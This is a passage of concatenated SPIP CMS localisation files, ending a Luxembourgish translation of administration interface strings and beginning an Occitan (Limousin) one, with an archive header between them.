'texte_auteur_messagerie' => 'De Site kann Iech dauernd d’Lëscht vun den ugemellten Redaktere weisen, fir dat dier hinnen direkt Messagen kënnt schécken. Dir kënnt entscheeden net an der Lëscht ze sinn (dir sidd "onsiichtbar" fir déi aner Benotzer).',
'texte_auteur_messagerie_1' => 'De Site erlaabt den Austausch vu Messagen a privat Forumen tëschent de Mataarbechter. Dir kënnt entscheeden net dorun deelzehuelen.',
'texte_auteurs' => 'D’AUTEUREN',
'texte_choix_base_1' => 'Wielt är Datebank:',
'texte_choix_base_2' => 'Den SQL-Server huet e puer Datebanken.',
'texte_choix_base_3' => '<b>Wielt</b> hei déi déi Iech vun ärem Provider zougewise gouf:',
'texte_choix_table_prefix' => 'Präfix vun den Tabellen:',
'texte_commande_vider_tables_indexation' => 'Benotzt dës Prozedur fir d’Index-Tabellen vum SPIP Sich-Motor eidel ze maachen. Domat gewannt dir Disk-Plaz.',
'texte_compatibilite_html' => 'Dir kënnt SPIP ustellen um ëffentleche Site e Code ze produzéieren dee mat der <i>HTML4-Norm</i> kompatibel ass oder him erlaben déi méi modern Méiglechkeete vun <i>HTML5</i> auszenotzen.',
'texte_compatibilite_html_attention' => 'D’Optioun <i>HTML5</i> aschalten ass risikofräi, mais wann dir et maacht mussen är Säite mat dësem Code ufänken fir kompatibel ze sinn: <code><!DOCTYPE html></code>.',
'texte_compresse_ou_non' => '(dee ka kompriméiert sinn oder net)',
'texte_compte_element' => '@count@ Element',
'texte_compte_elements' => '@count@ Elementer',
'texte_conflit_edition_correction' => 'Kontrolléiert d’Ënnerscheeder tëschent den zwou Versioune vum Text; dir kënnt är Ännerungen och kopéieren an erëm ufänken.',
'texte_connexion_mysql' => 'Kuckt an der Informatioun vun ärem Provider: dir musst do den Datebank-Server an är perséinlech Identifikatioun fannen.',
'texte_contenu_article' => '(Inhalt vum Artikel an e puer Wierder.)',
'texte_contenu_articles' => 'Jee no Design vun ärem Site kënnt dier wielen dat verschidden Elementer vun den Artikelen net benotzt ginn. Benotzt d’Lëscht hei drënner fir unzeginn wéi eng Elementer e kann benotzen.',
'texte_crash_base' => 'Wann är Datebank ofgestierzt ass, da kënnt dir eng automatesch Reparatur probéieren.',
'texte_creer_rubrique' => 'Ier dir kënnt en Artikel schreiwen, musst dir eng Rubrik bäiflécken setzen.',
'texte_date_creation_article' => 'ARTIKEL BÄIGEFLÉCKT DEN:',
'texte_date_creation_objet' => 'Kreatiouns-Datum:', # on ajoute le ":"
'texte_date_publication_anterieure' => 'ÉISCHTEN REDAKTIOUNS-DATUM:',
'texte_date_publication_anterieure_nonaffichee' => 'Éischten Redaktiouns-Datum net weisen.',
'texte_date_publication_article' => 'VERËFFENTLECHT DEN:',
'texte_date_publication_objet' => 'Datum vun der Verëffentlechung:',
'texte_descriptif_petition' => 'Beschreiwung vun der Petitioun',
'texte_descriptif_rapide' => 'Kuerz Beschreiwung',
'texte_effacer_base' => 'D’SPIP-Datebank läschen',
'texte_effacer_donnees_indexation' => 'Den Index läschen',
'texte_effacer_statistiques' => 'Statistik läschen',
'texte_en_cours_validation' => 'Déi Inhalter hei drënner waarden op d’Verëffentlechung.',
'texte_enrichir_mise_a_jour' => 'Dir kënnt de Layout verbesseren mat "typographeschen Ofkierzungen".',
'texte_fichier_authent' => '<b>Soll SPIP déi speziell Fichieren <tt>.htpasswd</tt> an <tt>.htpasswd-admin</tt> am Dossier @dossier@ bäiflécken?</b><p>Dës Fichieren kënnen den Zougang vun den Redakteren an Administrateuren op verschidden Deeler vum Site kontrolléieren (z.B. externe Statistik-Programm).</p><p>Wann dir dat net braucht, da loosst dës Optioun op sengem Default (kéng Fichiere bäiflécken).</p>', # MODIF
'texte_informations_personnelles_1' => 'De System gëtt Iech elo e personaliséierten Zougang zum Site.',
'texte_informations_personnelles_2' => '(N.B.: Wann äre Login bei dëser Re-Installatioun nach fonctionnéiert, da kënnt Dier',
'texte_introductif_article' => '(Aleedung vum Artikel.)',
'texte_jeu_caractere' => 'Mir roden Iech ob ärem Site dat universaalt Alphabet (<tt>UTF-8</tt>) ze gebrauchen: et kann Texter an alle Sproochen uweisen, an huet keng Kompatibilitéits-Problemer méi mat de moderne Browseren.',
'texte_jeu_caractere_2' => 'Opgepasst: Dës Astellung mécht kéng Konversioun vun den Texter déi schon an der Datebank sinn.',
'texte_jeu_caractere_3' => 'Äre Site benotzt elo den Character-Set:',
'texte_jeu_caractere_4' => 'Wann dat net der Realitéit vun ären Daten entsprécht (z.B. no enger Restauratioun vun der Datebank), oder wann dir <em>dësen Site nei ufänkt</em> an dir ob en aneren Character-Set ëmschalten wëllt, dann gitt en elo hie un:',
'texte_jeu_caractere_conversion' => 'Dir kënnt entscheeden, e fir allemol all d’Texter vun ärem Site (Artikelen, Kuerzmeldungen, Forumen, asw) ob d’Alphabet <tt>UTF-8</tt> ze konvertéieren, andeem dir ob <a href="@url@">dës Konversiouns-Säit fir UTF-8 gidd</a>.',
'texte_lien_hypertexte' => '(Wann äre Message sech op een Artikel um Internet, oder op eng Säit mat méi Informatiounen bezitt, da gitt hei säin Titel an seng URL an.)',
'texte_login_ldap_1' => '(Eidel loossen fir en anonymen Zougang, oder de kompletten Wee uginn, z.B. " <tt>uid=muller, ou=users, dc=domain, dc=com</tt> ".)',
'texte_login_precaution' => 'Opgepasst! Dëst ass de Login mat dem dier ugemellt sidd. Benotzt dëse Formulaire virsiichteg...',
'texte_message_edit' => 'Opgepasst: dëse Message kann vun all Administrateur vum Site geännert ginn, an ass fir all Redakter siichtbar. Benotzt dës Annonce nëmmen fir wichteg Informatiounen vum Site matzedeelen.',
'texte_messagerie_agenda' => 'Eng Messagerie erlaabt de Redakteren vum Site direkt am privaten Deel mateneen ze schwätzen. Si ass en Deel vum Agenda.',
'texte_mise_a_niveau_base_1' => 'Dir hutt eng Upassung vun de SPIP-Fichier’en gemaach. Elo muss d’Datebank ugepasst ginn.',
'texte_modifier_article' => 'Den Artikel änneren:',
'texte_moteur_recherche_active' => '<b>De Sich-Motor ass ageschalt.</b> Benotzt dës Prozedur fir eng séier Indexatioun (z.B. no enger Restauratioun). Déi normal Ännerunge (iwwer de SPIP-Interface) ginn automatesch nei indexéiert: dës Prozedur ass nëmmen an aussergewéinleche Fäll néideg.',
'texte_moteur_recherche_non_active' => 'De Sich-Motor ass ausgeschalt.',
'texte_multilinguisme' => 'Wann dir Objekter a méi Sprooche mat enger komplexer Navigatioun wëllt benotzen, da kënnt dir e Menü fir d’Sproochwiel bei den Objekter aschalten.',
'texte_multilinguisme_trad' => 'Dir kënnt och eng Gestioun vun de Linken tëschent den Iwwersetzunge vu verschidden Objekter aschalten.',
'texte_non_compresse' => '<i>net kompriméiert</i> (äre Server erlaabt dat net)',
'texte_nouveau_message' => 'Neie Message',
'texte_nouvelle_version_spip_1' => 'Dir hutt eng nei Versioun vu SPIP ageriicht.',
'texte_nouvelle_version_spip_2' => 'Dës nei Versioun verlaangt e méi kompletten Update wéi normalerweis. Wann Dir de Webmaster vum Site sidd, läscht de Fichier @connect@ a fuert mat dem Ariichte weider fir Zougangsberechtegunge fir d’Datebank unzepassen.<p>(N.B.: wann dir är Berechtegunge vergiess hutt, kuckt am Fichier @connect@ ier Dir e läscht...)</p>',
'texte_operation_echec' => 'Gidd op déi läscht Säit zeréck, wielt eng aner Datebank oder fléckt eng bäi. Kontrolléiert d’Informatioune vun ärem Provider.',
'texte_plus_trois_car' => 'méi wéi 3 Buschtawen',
'texte_plusieurs_articles' => 'E puer Artikele fonnt vum "@cherche_auteur@":',
'texte_port_annuaire' => '(D’Default-Valeur ass normalerweis déi richteg.)',
'texte_presente_plugin' => 'Dës Säit weist wéi eng Pluginen do sinn. Dir kënnt d’Pluginen aschalten andeem dier se ukräizt.',
'texte_proposer_publication' => 'Wann ären Artikel fäerdeg ass,<br />kënnt der d’Verëffentlechung virschloen.',
'texte_proxy' => 'A bestëmmte Fäll (Intranet, geschützte Netzer...) kann et néideg sinn iwwert en <i>HTTP-Proxy</i> ze fueren fir un déi verlinkte Siten ze kommen. An deem Fall, gitt hei seng Adress un, ënner der Form @proxy_en_cours@. Normalerweis bleift dëst Feld eidel.',
'texte_publication_articles_post_dates' => 'Wat soll SPIP mat den Artikelen maachen, wou de Verëffentlechungs-Datum an der Zukunft ass?',
'texte_rappel_selection_champs' => '[Vergiesst net dëst Feld richteg ze wielen.]',
'texte_recalcul_page' => 'Wann dir eng eenzeg Säit nei berechne wëllt, maacht dat léiwer iwwert den ëffentlechen Deel a benotzt de Knäppchen "Nei rechnen".',
'texte_recapitiule_liste_documents' => 'Dës Säit ass d’Lëscht vun den Dokumenter aus de Rubriken. Fir d’Informatioune vun engem Dokument ze änneren, gitt mam Link op seng Säit an der Rubrik.',
'texte_recuperer_base' => 'Datebank flécken',
'texte_reference_mais_redirige' => 'Artikel aus dem SPIP-Site, awer op eng aner URL ëmgeleet.',
'texte_requetes_echouent' => '<b>Wa verschidden SQL-Query’en systematesch an ouni siichtbar Ursaach feelschloen, ass et méiglech dat et un der Datebank selwer hänkt.</b><p>Ären SQL-Serveur kann seng Tabelle flécken wann se futti sinn. Dir kënnt hei eng Reparatur probéieren; wann et net geet, kopéiert den Bildschierm, do si villäicht Hiweiser op dat wat net fonctionnéiert...</p><p> Wann de Problem weider besteet, kontaktéiert äre Provider.</p>',
'texte_selection_langue_principale' => 'Hei kënnt der "d’Haapt-Sprooch" vum Site wielen. Dës Wiel forcéiert Iech net nëmmen an där Sprooch ze schreiwen, mais: <ul><li>setzt den Default-Format vun den Datumen um ëffentlechen Site;</li><li>setzt den typographesche Motor dee SPIP benotze soll fir Texter ze weisen;</li><li>setzt d’Sprooch déi an den ëffentlechen Formulaire benotzt gëtt;</li><li>setzt d’Default-Sprooch am privaten Deel vum Site.</li></ul>',
'texte_sous_titre' => 'Ënnertitel',
'texte_statistiques_visites' => '(donkel: Sonndeg / Kurv: Evolutioun vun der Moyenne)',
'texte_statut_attente_validation' => 'waart op d’Bestätegung',
'texte_statut_publies' => 'verëffentlecht',
'texte_statut_refuses' => 'refuséiert',
'texte_suppression_fichiers' => 'Benotzt dës Prozedur fir all d’Fichieren aus dem Cache ze läschen. Sou kënnt dir z.B. all d’Säiten nei rechnen, wann dir grouss Ännerungen um Layout oder der Struktur vum Site gemaach hutt.',
'texte_sur_titre' => 'Iwwertitel',
'texte_table_ok' => ': dës Tafel ass OK.',
'texte_tables_indexation_vides' => 'Den Index vum Sich-Motor ass eidel.',
'texte_tentative_recuperation' => 'Reparatur-Versuch',
'texte_tenter_reparation' => 'Eng Reparatur vun der Datebank probéieren',
'texte_test_proxy' => 'Fir de Proxy ze probéieren, gitt hei d’Adress vun engem Web-Site un.',
'texte_titre_02' => 'Titel:',
'texte_titre_obligatoire' => '<b>Titel</b> [Obligatoresch]',
'texte_travail_article' => '@nom_auteur_modif@ huet un dësem Artikel virun @date_diff@ Minutte geschafft',
'texte_travail_collaboratif' => 'Wann öfters e puer Redakteren un deem selwechten Artikel schaffen, kann de System déi rezent "oppen" Artikele weisen fir gläichzäiteg Ännerungen ze verhënneren. Dës Optioun ass par défaut ausgeschalt fir net andauernd Warnungen ze weisen.',
'texte_trop_resultats_auteurs' => 'Ze vill Resultater fir "@cherche_auteur@"; verbessert är Sich.',
'texte_unpack' => 'läscht Versioun eroflueden',
'texte_utilisation_moteur_syndiques' => 'Wann der den integréierte Sich-Motor benotzt, kënnt dir d’Sichen op Siten a verlinkt Artikelen op zwou Manéiere maachen.<br />- Déi einfachst ass nëmmen am Titel an an der Beschreiwung vun den Artikelen ze sichen.<br />- Eng aner, besser Method, erlaabt och am Text vun den Siten ze sichen. Wann dir e Site verlinkt, da sicht SPIP och am Text vun deem Site.',
'texte_utilisation_moteur_syndiques_2' => 'Dës Method forcéiert SPIP regelméisseg déi verlinkte Siten ze besichen, wat riskéiert dass äre Site e bësschen méi lues gëtt.',
'texte_vide' => 'eidel',
'texte_vider_cache' => 'De Cache läschen',
'titre_admin_effacer' => 'Maintenance',
'titre_admin_tech' => 'Maintenance',
'titre_admin_vider' => 'Maintenance',
'titre_ajouter_un_auteur' => 'En Auteur bäiflécken',
'titre_ajouter_un_mot' => 'E Schlësselwuert bäiflécken',
'titre_ajouter_une_rubrique' => 'Eng Rubrik bäiflécken',
'titre_cadre_afficher_article' => 'D’Artikele weisen',
'titre_cadre_afficher_traductions' => 'Zoustand vun den Iwwersetzunge weisen fir dës Sproochen:',
'titre_cadre_ajouter_auteur' => 'AUTEUR BÄIFLÉCKEN:',
'titre_cadre_interieur_rubrique' => 'An der Rubrik',
'titre_cadre_numero_auteur' => 'AUTEUR NUMMER',
'titre_cadre_numero_objet' => '@objet@ NUMMER:',
'titre_cadre_signature_obligatoire' => '<b>Ënnerschrëft</b> [Obligatoresch]<br />',
'titre_config_contenu_notifications' => 'Meldungen',
'titre_config_contenu_prive' => 'Am privaten Deel',
'titre_config_contenu_public' => 'Um ëffentleche Site',
'titre_config_fonctions' => 'Astelle vum Site',
'titre_config_langage' => 'Sprooch astellen',
'titre_configuration' => 'Astelle vum Site',
'titre_configurer_preferences' => 'Är Virléiften astellen',
'titre_conflit_edition' => 'Konflikt während der Ännerung',
'titre_connexion_ldap' => 'Optiounen: <b>Är LDAP-Verbindung</b>',
'titre_groupe_mots' => 'WUERT-GRUPP:',
'titre_identite_site' => 'Identitéit vum Site',
'titre_langue_article' => 'Sprooch vum Artikel',
'titre_langue_rubrique' => 'Sprooch vun der Rubrik',
'titre_langue_trad_article' => 'SPROOCH AN IWWERSETZUNGE VUM ARTIKEL',
'titre_les_articles' => 'D’ARTIKELEN',
'titre_messagerie_agenda' => 'Messagerie an Agenda',
'titre_naviguer_dans_le_site' => 'Am Site surfen...',
'titre_nouvelle_rubrique' => 'Nei Rubrik',
'titre_numero_rubrique' => 'RUBRIK NUMMER:',
'titre_page_admin_effacer' => 'Maintenance: Datebank läschen',
'titre_page_articles_edit' => 'Änneren: @titre@',
'titre_page_articles_page' => 'D’Artikelen',
'titre_page_articles_tous' => 'De ganzen Site',
'titre_page_auteurs' => 'Visiteuren',
'titre_page_calendrier' => 'Kalenner @nom_mois@ @annee@',
'titre_page_config_contenu' => 'Astelle vum Site',
'titre_page_config_fonctions' => 'Astelle vum Site',
'titre_page_configuration' => 'Astelle vum Site',
'titre_page_controle_petition' => 'Suivi vun de Petitiounen',
'titre_page_delete_all' => 'definitiv an irreversibel läschen',
'titre_page_documents_liste' => 'D’Dokumenter aus de Rubriken',
'titre_page_index' => 'Äre privaten Deel',
'titre_page_message_edit' => 'E Message schreiwen',
'titre_page_messagerie' => 'Är Messagerie',
'titre_page_recherche' => 'Resultater vun der Sich @recherche@',
'titre_page_statistiques_referers' => 'Statistik (Linken déi era kommen)',
'titre_page_statistiques_signatures_jour' => 'Zuel vun den Ënnerschrëfte pro Dag',
'titre_page_statistiques_signatures_mois' => 'Zuel vun den Ënnerschrëfte pro Mount',
'titre_page_upgrade' => 'SPIP updaten',
'titre_publication_articles_post_dates' => 'Verëffentleche vun den post-datéierten Artikelen',
'titre_referencer_site' => 'De Site verlinken:',
'titre_rendez_vous' => 'RENDEZVOUS:',
'titre_reparation' => 'Reparatur',
'titre_suivi_petition' => 'Suivi vun de Petitiounen',
'tls_ldap' => 'Transport Layer Security:',
'trad_article_inexistant' => 'Et gëtt keen Artikel mat där Nummer.',
'trad_article_traduction' => 'All d’Versioune vun dësem Artikel:',
'trad_deja_traduit' => 'Fehler: Onméiglech dësen Artikel un déi gefrote Nummer ze bannen.',
'trad_delier' => 'Dës Iwwersetzunge net méi verbannen',
'trad_lier' => 'Dësen Artikel ass eng Iwwersetzung vum Artikel Nummer:',
'trad_new' => 'Eng nei Iwwersetzung schreiwen',
// U
'upload_info_mode_document' => 'Dëst Bild am Portfolio ofleeën',
'upload_info_mode_image' => 'Dëst Bild aus dem Portfolio läschen',
'utf8_convert_attendez' => 'Waart e bësschen a luet dann dës Säit nei.',
'utf8_convert_avertissement' => 'Dir wäert elo den Inhalt vun ärer Datebank (Artikelen, Kuerzmeldungen, asw) vum Character-Set <strong>@orig@</strong> ob <strong>@charset@</strong> änneren.',
'utf8_convert_backup' => 'Vergiesst net virdrun e komplette Backup vun ärem Site ze maachen. Dir musst och kontrolléieren ob är Skeletter a Sproch-Fichier’en @charset@ kompatibel sinn.',
'utf8_convert_erreur_deja' => 'Äre Site ass schon ob @charset@, kee Wäert ze konvertéieren...',
'utf8_convert_erreur_orig' => 'Fehler: de Character-Set @charset@ gëtt net ënnerstëtzt.',
'utf8_convert_termine' => 'Et ass fäerdeg!',
'utf8_convert_timeout' => '<strong>Wichteg:</strong> wann ären Server en <em>Timeout</em> mécht, Lued dës Säit nei bis se "Fäerdeg" weist.',
'utf8_convert_verifier' => 'Dir musst elo de Cache läschen a kontrolléieren ob alles ob dem ëffentlechen Site richteg ass. Fir de Fall vu grousse Problemer läit am Dossier @rep@ e Backup am Format SQL.',
'utf8_convertir_votre_site' => 'Ären Site ob UTF-8 konvertéieren',
// V
'version' => 'Versioun:'
);
?>
spip_oc_lms.php 0000666 00000076144 15252547432 0007615 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=oc_lms
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://www.spip.net/oc',
'0_langue' => 'occitan (lemosin) [oc_lms]',
'0_liste' => 'spip-oc@rezo.net',
'0_mainteneur' => 'Domergue Sumien: lenga.occitana@aprene.org ',
// A
'access_interface_graphique' => 'Tornar a l’interfàcia grafica completa',
'access_mode_texte' => 'Afichar l’interfàcia textuala simplificada',
'admin_debug' => 'desbugatge',
'admin_modifier_article' => 'Modificar quel article',
'admin_modifier_auteur' => 'Modificar quel autor',
'admin_modifier_breve' => 'Modificar quela breva',
'admin_modifier_mot' => 'Modificar queu mot clau',
'admin_modifier_rubrique' => 'Modificar quela rubrica',
'admin_recalculer' => 'Tornar calcular la pagina',
'alerte_maj_impossible' => '<b>Alerta!</b> Quo es impossible d’actualizar la basa SQL vers la version @version@; benleu i a un problema relatiu au drech de modificar la basa de donadas. Volhatz contactar vòstre auberjador.',
'analyse_xml' => 'Analisi XML',
'articles_recents' => 'Los articles mai recents',
'avis_archive_incorrect' => 'lo fichier archiu es pas un fichier SPIP',
'avis_archive_invalide' => 'lo fichier archiu es pas valid',
'avis_attention' => 'ATENCION!',
'avis_champ_incorrect_type_objet' => 'Nom de champ incorrecte @name@ per objecte de tipe @type@',
'avis_colonne_inexistante' => 'La colomna @col@ existís pas',
'avis_erreur' => 'Error: vesetz çai sos',
'avis_erreur_connexion' => 'Error de connexion',
'avis_erreur_cookie' => 'problema de cookie',
'avis_erreur_fonction_contexte' => 'Error de programacion. Chau pas cridar quela foncion dins queu context.',
'avis_erreur_mysql' => 'Error SQL ',
'avis_erreur_sauvegarde' => 'Error dins la sauvagarda (@type@ @id_objet@)! ',
// B
'barre_a_accent_grave' => 'Inserir una A accent greu majuscula',
'barre_aide' => 'Utilizar las escorchieras tipograficas per enrichir vòstra compaginacion',
'barre_e_accent_aigu' => 'Inserir una E accent agut majuscula',
'barre_eo' => 'Inserir una E dins l’O',
'barre_eo_maj' => 'Inserir una E dins l’O majuscula',
'barre_euro' => 'Inserir lo simbeu de l’euro: €',
'barre_gras' => 'Metre en {{gras}}',
'barre_guillemets' => 'Environar emb de las « vergetas »',
'barre_guillemets_simples' => 'Environar emb de las „vergetas“',
'barre_intertitre' => 'Transformar en {{{intertítol}}}',
'barre_italic' => 'Metre en {italics}',
'barre_lien' => 'Transformar en [liam ipertext->http://...]',
'barre_lien_input' => 'Volhatz indicar l’adreiça de vòstre liam (podetz indicar una adreiça web sos la forma http://www.lomeusit.com o simplament indicar lo numero d’un article de queu sit).',
'barre_note' => 'Transformar en [[Nòta de pe]]',
'barre_quote' => '<quote>Citar un messatge</quote>',
'bouton_changer' => 'Chamjar',
'bouton_chercher' => 'Cerchar',
'bouton_choisir' => 'Chausir',
'bouton_enregistrer' => 'Registrar',
'bouton_radio_desactiver_messagerie_interne' => 'Desactivar la messatjariá interna',
'bouton_radio_envoi_annonces' => 'Mandar los anoncis editoriaus',
'bouton_radio_non_envoi_annonces' => 'Pas mandar d’anoncis',
'bouton_radio_non_envoi_liste_nouveautes' => 'Pas mandar la tiera de las novetats',
'bouton_recharger_page' => 'tornar charjar quela pagina',
'bouton_telecharger' => 'Telecharjar',
'bouton_upload' => 'Telecharjar', # MODIF
'bouton_valider' => 'Validar',
// C
'cal_apresmidi' => 'tantòst',
'cal_jour_entier' => 'jorn entier',
'cal_matin' => 'matin',
'cal_par_jour' => 'chalendier per jorn',
'cal_par_mois' => 'chalendier per mes',
'cal_par_semaine' => 'chalendier per setmana',
'confirm_changer_statut' => 'Atencion, avetz demandat de chamjar l’estatut de quel element. Desiratz de contunhar? ',
// D
'date_aujourdhui' => 'uei',
'date_avant_jc' => 'avans lo Crist',
'date_dans' => 'd’aquí @delai@',
'date_de_mois_1' => '@j@ de genier',
'date_de_mois_10' => '@j@ d’octòbre',
'date_de_mois_11' => '@j@ de novembre',
'date_de_mois_12' => '@j@ de decembre',
'date_de_mois_2' => '@j@ de belier',
'date_de_mois_3' => '@j@ de març',
'date_de_mois_4' => '@j@ d’abriau',
'date_de_mois_5' => '@j@ de mai',
'date_de_mois_6' => '@j@ de junh',
'date_de_mois_7' => '@j@ de julh',
'date_de_mois_8' => '@j@ d’aost',
'date_de_mois_9' => '@j@ de setembre',
'date_demain' => 'deman',
'date_fmt_heures_minutes' => '@h@h@m@min',
'date_fmt_jour_heure' => '@jour@ a @heure@',
'date_fmt_jour_mois' => '@jourmois@',
'date_fmt_jour_mois_annee' => '@jourmois@ de @annee@',
'date_fmt_mois_annee' => '@nommois@ de @annee@',
'date_fmt_nomjour_date' => 'lo @nomjour@ @date@',
'date_heures' => 'oras',
'date_hier' => 'ier',
'date_il_y_a' => 'fai @delai@',
'date_jnum1' => '1r',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'dimenge',
'date_jour_2' => 'diluns',
'date_jour_3' => 'dimars',
'date_jour_4' => 'dimecres',
'date_jour_5' => 'dijòus',
'date_jour_6' => 'divendres',
'date_jour_7' => 'dissabde',
'date_jours' => 'jorns',
'date_minutes' => 'minutas',
'date_mois' => 'mes',
'date_mois_1' => 'genier',
'date_mois_10' => 'octòbre',
'date_mois_11' => 'novembre',
'date_mois_12' => 'decembre',
'date_mois_2' => 'belier',
'date_mois_3' => 'març',
'date_mois_4' => 'abriau',
'date_mois_5' => 'mai',
'date_mois_6' => 'junh',
'date_mois_7' => 'julh',
'date_mois_8' => 'aost',
'date_mois_9' => 'setembre',
'date_saison_1' => 'ivern',
'date_saison_2' => 'prima',
'date_saison_3' => 'estiu',
'date_saison_4' => 'darriera',
'date_semaines' => 'setmana(s)',
'dirs_commencer' => 'per començar vertadierament l’installacion',
'dirs_preliminaire' => 'Preliminar: <b>Reglar los drechs d’accès</b>',
'dirs_probleme_droits' => 'Problema de drechs d’accès',
'dirs_repertoires_absents' => '<b>S’es pas trobat los repertòris seguents: <ul>@bad_dirs@.</ul> </b>
<p>Se pòt que venha d’un problema de majusculas o minusculas mau mesas.
Verificatz que las minusculas e majusculas de quilhs repertòris correspondan be emb quò afichat
çai subre; s’es pas lo cas, tornatz nommar los repertòris emb vòstre logiciau FTP en corregir l’error.
<p>Un còp qu’auretz fach quò lai, poiretz ',
'dirs_repertoires_suivants' => '<b>Los repertòris seguents son pas accessibles en escritura: <ul>@bad_dirs@.</ul> </b>
<p>Per adobar quò lai, utilizatz vòstre client FTP per fin de reglar los drechs d’accès de chascun
de quilhs repertòris. La guida d’installacion explica en detalh coma chau procedir.
<p>Tanleu qu’auretz facha quela manipulacion, poiretz ',
// E
'envoi_via_le_site' => 'Mandadís emb lo biais dau sit web',
// F
'fichier_introuvable' => 'S’es pas pogut trobar lo fichier @fichier@.',
'form_deja_inscrit' => 'Setz ja inscrich(a).',
'form_email_non_valide' => 'Vòstra adreiça e-mail es pas valida.',
'form_forum_access_refuse' => 'Podetz pas mai accedir a queu sit.',
'form_forum_bonjour' => 'Bonjorn,',
'form_forum_email_deja_enregistre' => 'Quela adreiça e-mail ja es registrada, adonc podetz utilizar vòstre mot de santa Clara costumier.',
'form_forum_identifiant_mail' => 'Vos avem mandat vòstre identificant noveu per e-mail.',
'form_forum_identifiants' => 'Identificants personaus',
'form_forum_indiquer_nom_email' => 'Indicatz quí vòstre nom e vòstra adreiça e-mail. Vòstre identificant personau ’ribará regde, per e-mail.',
'form_forum_login' => 'login:',
'form_forum_message_auto' => '(quo es un messatge automatic)',
'form_forum_pass' => 'mot de santa Clara:',
'form_forum_probleme_mail' => 'Problema d’e-mail: se pòt pas mandar l’identificant.',
'form_forum_voici1' => 'Veiquí vòstres identificants per poder participar a la vida
dau sit "@nom_site_spip@" (@adresse_site@):',
'form_forum_voici2' => 'Veiquí vòstres identificants per prepausar daus articles
subre lo sit "@nom_site_spip@" (@adresse_login@):',
'form_indiquer_email' => 'Volhatz indicar vòstra adreiça e-mail.',
'form_indiquer_nom' => 'Volhatz indicar vòstre nom.',
'form_indiquer_nom_site' => 'Volhatz indicar lo nom de vòstre sit.',
'form_pet_deja_enregistre' => 'Ja queu sit es registrat',
'form_pet_signature_pasprise' => 'Vòstra signatura es pas presa en compte.',
'form_prop_confirmer_envoi' => 'Confirmar l’enviament',
'form_prop_description' => 'Descripcion/comentari',
'form_prop_enregistre' => 'Vòstra proposicion es plan registrada, apareisserá en linha tanleu que los responsables dau sit l’aurán validada .',
'form_prop_envoyer' => 'Mandar un messatge',
'form_prop_indiquer_email' => 'Volhatz indicar una adreiça e-mail valida',
'form_prop_indiquer_nom_site' => 'Volhatz indicar lo nom dau sit.',
'form_prop_indiquer_sujet' => 'Volhatz indicar un subjecte',
'form_prop_message_envoye' => 'Messatge mandat',
'form_prop_non_enregistre' => 'Vòstra proposicion es pas estada registrada.',
'form_prop_sujet' => 'Subjecte',
'form_prop_url_site' => 'Adreiça (URL) dau sit', # MODIF
'forum_non_inscrit' => 'Siá setz pas inscrich(a), siá avetz fach una error d’adreiça o de mot de santa Clara. ',
'forum_par_auteur' => 'per @auteur@',
'forum_titre_erreur' => 'Error...',
// I
'ical_texte_rss_articles' => 'Lo fichier "backend" daus articles de queste sit se tròba a l’adreiça:',
'ical_texte_rss_articles2' => 'Atanben podetz obténer daus fichiers "backend" per los articles de chasca rubrica dau sit:',
'ical_texte_rss_breves' => 'Existissen mai d’un fichier contenent las brevas dau sit. En precisar un numero de rubrica, obtendretz nonmàs las brevas de la rubrica aquela.',
'icone_a_suivre' => 'De segre',
'icone_admin_site' => 'Administracion dau sit',
'icone_agenda' => 'Agenda e messatjariá',
'icone_aide_ligne' => 'Ajuda',
'icone_articles' => 'Articles',
'icone_auteurs' => 'Autors',
'icone_brouteur' => 'Navigacion rapida',
'icone_configuration_site' => 'Configuracion',
'icone_configurer_site' => 'Configurar vòstre sit',
'icone_creer_nouvel_auteur' => 'Crear un autor nuòu',
'icone_creer_rubrique' => 'Crear una rubrica',
'icone_creer_sous_rubrique' => 'Crear una sosrubrica',
'icone_deconnecter' => 'Se desconnectar',
'icone_discussions' => 'Discussions',
'icone_doc_rubrique' => 'Documents de las rubricas',
'icone_ecrire_article' => 'Escriure un article nuòu',
'icone_edition_site' => 'Edicion',
'icone_gestion_langues' => 'Gestion de las lengas',
'icone_informations_personnelles' => 'Informacions personalas',
'icone_interface_complet' => 'Interfàcia completa',
'icone_interface_simple' => 'Interfàcia simplificada',
'icone_maintenance_site' => 'Mantenença dau sit',
'icone_messagerie_personnelle' => 'Messatjariá personala',
'icone_repartition_debut' => 'Afichar la reparticion dempuei lo començament',
'icone_rubriques' => 'Rubricas',
'icone_sauver_site' => 'Sauvagarda dau sit',
'icone_site_entier' => 'Tot lo sit ',
'icone_sites_references' => 'Sits referenciats',
'icone_statistiques' => 'Estadisticas dau sit',
'icone_suivi_activite' => 'Seguir l’activitat editoriala',
'icone_suivi_actualite' => 'Evolucion dau sit',
'icone_suivi_pettions' => 'Segre/gerir las peticions',
'icone_suivi_revisions' => 'Modificacions daus articles',
'icone_supprimer_document' => 'Suprimir queu document',
'icone_supprimer_image' => 'Suprimir quel imatge',
'icone_tous_articles' => 'Tots vòstres articles ',
'icone_tous_auteur' => 'Tots los autors ',
'icone_visiter_site' => 'Vesitar', # MODIF
'icone_voir_en_ligne' => 'Veire en linha',
'img_indisponible' => 'imatge indisponible',
'info_a_suivre' => 'DE SEGRE>>',
'info_acces_interdit' => 'Accès proïbit',
'info_acces_refuse' => 'Accès refusat',
'info_action' => 'Accion: @action@',
'info_administrer_rubriques' => 'Podetz administrar quela rubrica e sas sosrubricas',
'info_adresse_non_indiquee' => 'Avetz pas indicat l’adreiça de testar!',
